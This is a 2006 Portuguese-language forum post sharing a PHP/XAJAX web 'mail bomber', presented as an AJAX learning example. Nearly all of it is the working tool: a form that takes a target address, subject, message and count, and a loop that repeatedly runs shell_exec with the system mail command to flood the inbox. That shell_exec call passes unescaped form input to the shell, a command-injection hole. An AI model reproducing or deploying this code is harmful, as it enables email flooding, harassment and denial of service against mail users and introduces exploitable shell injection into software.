Mail BomBer 1.0
Publicado por Thiago Fernandes de Melo 16/08/2006
[ Hits: 6.220 ]
Homepage: http://www.hospedarfacil.com.br
Ae galera, fiz um mailbomber com XAJAX e PHP. Espero que lhes sirvam pra alguma coisa, pelo menos pra galerinha que tá querendo aprender AJAX. XAJAX é um framework pra trabalhar com AJAX no PHP. []´s. PS.: tem que ter algum servidor de e-mail no PC, Postfix ou Sendmail. Obs.: Tem que salvar os 2 arquivos, faça o download do XAJAX e salva o código-fonte com extensão .php.
<?
require_once("xajax.inc.php");
function limp()
{
$objResponse = new xajaxResponse();
if($a['qts'] < 100)
$Resposta = "";
$objResponse->addAssign("checando","innerHTML", $Resposta);
return $objResponse->getXML();
}
//////////////////////////////////////////////////
function check($a)
{
$objResponse = new xajaxResponse();
if($a['qts'] > 10)
$Resposta = "<font size=2 color=red><b>*A quantidade Excede o Limite.</b></font>";
$objResponse->addAssign("checando","innerHTML", $Resposta);
return $objResponse->getXML();
}
//////////////////////////////////////////////////
function checkdestino($a)
{
$objResponse = new xajaxResponse();
if($a['destino'] == "")
$Resposta = "<font size=2 color=red><b>*Nenhum campo em branco.</b></font>";
$objResponse->addAssign("checando1","innerHTML", $Resposta);
return $objResponse->getXML();
}
//////////////////////////////////////////////////
function checkassunto($a)
{
$objResponse = new xajaxResponse();
if($a['assunto'] == "")
$Resposta = "<font size=2 color=red><b>*Nenhum campo em branco.</b></font>";
$objResponse->addAssign("checando2","innerHTML", $Resposta);
return $objResponse->getXML();
}
//////////////////////////////////////////////////
function flood($a)
{
$objResponse = new xajaxResponse();
$Rss = "<b>Msg: </b>" .$a['destino']. "<br><b>Qts: </b>" .$a['qts']. "<br><b>Ass: </b>" .$a['assunto']. "</b><br><b>Msg: </b>" .$a['msg']. " ";
$objResponse->addAssign("Resultado","innerHTML", nl2br(print_r($Rss, true)));
return $objResponse->getXML();
}
///////////////////////////////////////////////////
function fdnow($a)
{
$objResponse = new xajaxResponse();
$s = $a['qts'];
$as = $a['assunto'];
$dss = $a['msg'];
$ds = $a['destino'];
for($i = 0; $i<$s;$i++){
$Send[$i] = "Enviando " .$i. " de " .$s. "";
shell_exec("echo $as |mail -s $dss $ds");
}
$objResponse->addAssign("fding","innerHTML", print_r($Send, true));
return $objResponse->getXML();
}
///////////////////////////////////////////////////
$xajax = new xajax();
$xajax->registerFunction("flood");
$xajax->registerFunction("check");
$xajax->registerFunction("checkdestino");
$xajax->registerFunction("checkassunto");
$xajax->registerFunction("limp");
$xajax->registerFunction("fdnow");
$xajax->processRequests();
?>
<html>
<head>
<? $xajax->printJavascript(); ?>
</head>
<body>
<form name=tx><table>
<tr><td>Destino:</td><td><input type=text name=destino onblur="xajax_checkdestino(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando1"></div></td></tr>
<tr><td>Assunto:</td><td><input type=text name=assunto onblur="xajax_checkassunto(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando2"></div></tr>
<tr><td>Quantos:</td><td><input type=text name=qts onblur="xajax_check(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando"></div></td></tr>
<tr><td>Msg:</td><td><textarea name=msg></textarea></td></tr>
<tr><td><input type=button name=send value=Flood onclick=" xajax_fdnow(xajax.getFormValues('tx',true)); return false"></td></tr></table><table>
<tr><td><div id="fding">Aguardando...</div></td></tr>
</form>
</body>
</html>
Cron - Classe PHP para cálculo da diferença entre duas datas
Gerenciador para QEMU, em PHP-CLI
Nenhum comentário foi encontrado.
Porque Gentoo semi-binário atualmente (desabafo)
A combinação de WMs com compositores feitos por fora
Audacious, VLC e QMMP - que saudades do XMMS
SUNO OpenSource: Crie um servidor de gerador de música com IA
Plantar o Singrante Google Chrome no Void Linux
Lançando Java e Netbeans no Linux
Instalando SVP4 e MPV (VapourSynth) no Gentoo
Migração do KDE Plasma para Cinnamon no Gentoo (com systemd) + Tema Colloid
Como desativar a economia de energia no Gentoo (Systemd, Wi-Fi, USB e SSH)
Comportamento "inesper... ao executar 'apt full-upgrade&... (4)
instalar iso sem pendrive ou dvd (2)
Um filme, uma banda, um jogo, um livro, um anime (ou mangá) (11)









